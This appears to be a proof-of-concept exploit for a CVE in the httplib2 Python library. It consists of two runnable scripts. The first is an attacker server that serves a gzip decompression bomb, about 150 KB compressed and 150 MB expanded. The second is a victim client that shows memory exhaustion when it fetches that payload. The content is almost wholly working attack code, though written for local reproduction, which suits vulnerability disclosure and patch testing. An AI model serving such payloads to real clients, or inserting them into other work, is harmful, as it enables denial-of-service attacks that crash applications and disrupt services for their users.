CVE-2026-59939: httplib2 Decompression Bomb Denial of Service

# Step 1 - run this as the attacker-controlled server
#!/usr/bin/env python3
import gzip, http.server, io, socketserver

UNCOMPRESSED_SIZE = 150 * 1024 * 1024  # 150 MB

def make_payload():
    buf = io.BytesIO()
    with gzip.GzipFile(fileobj=buf, mode='wb', compresslevel=9) as gz:
        chunk = b'A' * (1024 * 1024)
        for _ in range(UNCOMPRESSED_SIZE // len(chunk)):
            gz.write(chunk)
    return buf.getvalue()

PAYLOAD = make_payload()  # ~150 KB compressed -> 150 MB decompressed

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-Type', 'application/octet-stream')
        self.send_header('Content-Encoding', 'gzip')
        self.send_header('Content-Length', str(len(PAYLOAD)))
        self.end_headers()
        self.wfile.write(PAYLOAD)
    def log_message(self, fmt, *args): pass

with socketserver.TCPServer(('127.0.0.1', 8000), Handler) as httpd:
    print(f'Payload: {len(PAYLOAD)} bytes compressed -> {UNCOMPRESSED_SIZE} bytes decompressed')
    httpd.serve_forever()

# Step 2 - victim client (separate terminal)
#!/usr/bin/env python3
import resource, httplib2

LIMIT_MB = 180
limit = LIMIT_MB * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

http = httplib2.Http(timeout=5)
try:
    response, content = http.request('http://127.0.0.1:8000/')
    print(f'Received {len(content)} bytes')
except MemoryError:
    print(f'MemoryError: decompression bomb exhausted {LIMIT_MB} MB limit')
    # ~150 KB payload expanded to 150 MB (~1029x amplification)